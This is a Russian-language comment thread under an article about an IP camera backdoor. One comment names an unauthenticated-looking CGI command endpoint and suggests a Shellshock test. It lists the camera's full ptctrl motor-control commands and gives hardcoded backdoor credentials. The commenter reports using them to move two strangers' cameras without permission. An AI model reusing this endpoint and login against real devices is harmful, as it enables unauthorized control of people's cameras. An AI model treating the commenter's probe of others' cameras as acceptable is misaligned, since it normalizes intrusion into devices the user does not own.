Pull to refresh

Comments 7

Прикольно.
Проверте еще на Shell Shock вот это:
/cgi/maker/ptcmd.cgi?cmd=
bash редко в каких embedded-устройствах используется, поэтому маловероятно.
Если после cmd= написать -help, то получим список команд, для управления камерой.
-help
ptctrl: ver1.11
Usage:
ptctrl -help //show this usage
ptctrl -init //Initial motor parameters!
ptctrl -forcestop //force stop all motor task!
ptctrl -home //goto home position
ptctrl -scan //around all the posibile position
ptctrl -hit [cnt] [dict] [hcnt] //start hit test
ptctrl -patrol //around from preset 0, 2, 3...7
ptctrl -dbgmsg //display debug message
ptctrl -pstay=val //set stay times for patrol cmd; val = 1 ~ 999 seconds
ptctrl -preset=val //go to preset positon; val = 0 ~ 7
ptctrl -setpresetN=name //set preset positon and name; N = 0 ~ 7; name = «string»
ptctrl -automute=val //set auto mute feature; val=1: Enable; val=0: Disable
ptctrl [-v/h/a] -stop //stop motor moving
ptctrl [-v/h/a] -reset //calibration motor position
ptctrl [-v/h] -status //get motor status
ptctrl [-v/h] -sysstatus //get motor current tasks status
ptctrl [-v/h] -run //run motor always
ptctrl [-v/h] -move=val //Moving motor; val = x step units
ptctrl [-v/h] -movedegree=val //Moving motor; val = x degrees
ptctrl [-v/h] -speed=val //set motor moving speed; val = 0 ~ 2 level
ptctrl [-v/h] -scanspeed=val //set motor scanning speed; val = 0 ~ 2 level
ptctrl [-v/h] -step=val //set motor moving length; val = 1 ~ 20 degrees
ptctrl [-v/h] -presetposN=val //set preset address value; N = 0 ~ 7; val = position
ptctrl [-v/h] -position=DVal //move motor positon
ptctrl [-v/h] -userpos=DVal //move motor positon
ptctrl [-v/h] -moveto=DVal //move motor to delta positon
ptctrl [-v/h] -velocity=HVal //set moving velocity
ptctrl [-v/h] -current=HVal //set current control
ptctrl [-v/h] -stall=HVal //set stall condition
ptctrl [-v/h] -system=HVal //set system parameter
ptctrl [-v/h] -actpos //get actually position
ptctrl [-v/h] -maxpos //get maximum position value
ptctrl [-v/h] -minpos //get minimum position value

Проверил на двух чужих камерах команду -scan — работает. Для авторизации использовал productmaker:ftvsbannedcode.
UFO just landed and posted this here
Я ожидал отсутствие backdoor после очередного фикса, ну и добросовестности производителя конечно же.
Кстати говоря про китайцев. На деле они оказываются куда более защищёнными, во первых каждый производитель пилит свой интерфейс к камере — что сужает вектор атаки, да и то, что китайцы не апдейтят свой софт — клише.
UFO just landed and posted this here
С таким ответом я рассчитывал вместо фразы «с прошивкой которой доверяете» увидеть скорее что-то типа «с прошивкой, которую сам написал». Ведь автор прошивке камеры как раз доверял изначально.
Sign up to leave a comment.

Articles